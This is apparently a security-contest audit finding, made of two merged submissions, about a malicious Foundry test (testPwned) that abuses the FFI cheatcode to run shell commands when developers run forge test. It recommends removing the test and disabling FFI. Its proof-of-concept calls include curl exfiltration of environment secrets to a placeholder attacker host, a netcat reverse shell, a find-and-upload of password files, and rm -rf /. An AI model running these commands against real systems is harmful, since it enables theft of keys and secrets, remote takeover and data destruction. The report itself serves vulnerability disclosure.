Title: Malicious FFI test executes arbitrary shell commands on developer machines
Severity: High
Impact: Running forge test exfiltrates environment variables, private keys, and wallet data.
Likelihood: High — test runs by default, FFI enabled in foundry.toml, standard dev workflow.
Reference Files: test/unit/SantasListTest.t.sol:149-154, test/mocks/CheatCodes.t.sol
The test suite includes testPwned() which uses Foundry's FFI cheatcode to execute shell commands. FFI is globally enabled. The malicious test:
While the current payload only creates a file, FFI can execute any shell command — curl to exfiltrate API keys, nc for reverse shells, rm -rf for data destruction, or find to locate and upload private keys and wallet files.
Impact: High. Running forge test — the standard developer workflow — can silently exfiltrate PRIVATE_KEY, ARBITRUM_RPC_URL, and other environment secrets to an attacker-controlled server.
Likelihood: High. The test runs automatically with forge test and FFI is enabled. Every developer or auditor who runs the test suite is compromised.
The payload could be curl https://attacker.com/collect -d "$(env)" to send all environment variables including wallet secrets.
This test sends all environment variables to an external server when a developer runs forge test.
Remove the malicious test and disable FFI in the project configuration:
Setting ffi = false prevents all shell command execution from tests. Never run forge test with FFI enabled on untrusted codebases. Always audit test files before running them.
## Description The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware. ## Vulnerability Details This is the malicious test, it looks inoffensive as it just create a file called `youve-been-pwned` but there is no underlying reason for this test to be here except a malicious behavior. ```javascript function testPwned() public { string[] memory cmds = new string[](2); cmds[0] = "touch"; cmds[1] = string.concat("youve-been-pwned"); cheatCodes.ffi(cmds); } ``` A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:. First export the api key in your shell ```bash export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY' ``` Then execute the test to store the API key in a file: ```javascript function testWriteCommande() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey"; cheatCodes.ffi(cmds); } ``` Alternatively, transmit it to an external server: ```javascript cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)"; ``` Other interesting POC that qualify this issue as a HIGH ### POC 1: Reverse Shell Using Netcat This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine. ```javascript function testReverseShell() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>"; cheatCodes.ffi(cmds); } ``` ### POC 2: Finding Files and Sending Results to a Server This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server. ```javascript function testFindCommand() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload"; cheatCodes.ffi(cmds); } ``` ### POC 3: Destructive Command (rm -rf /) This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem. # Warning: This command is extremely harmful and should never be executed. ```javascript function testDestructiveCommand() public { string[] memory cmds = new string[](2); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "rm -rf /"; cheatCodes.ffi(cmds); } ``` # Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system. ## Impact This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information. The test, as it stands, is harmful, as it is used in a security contexts but i assume that the general purpose of this functionality is to be harmfull. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /). ## Recommendations Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.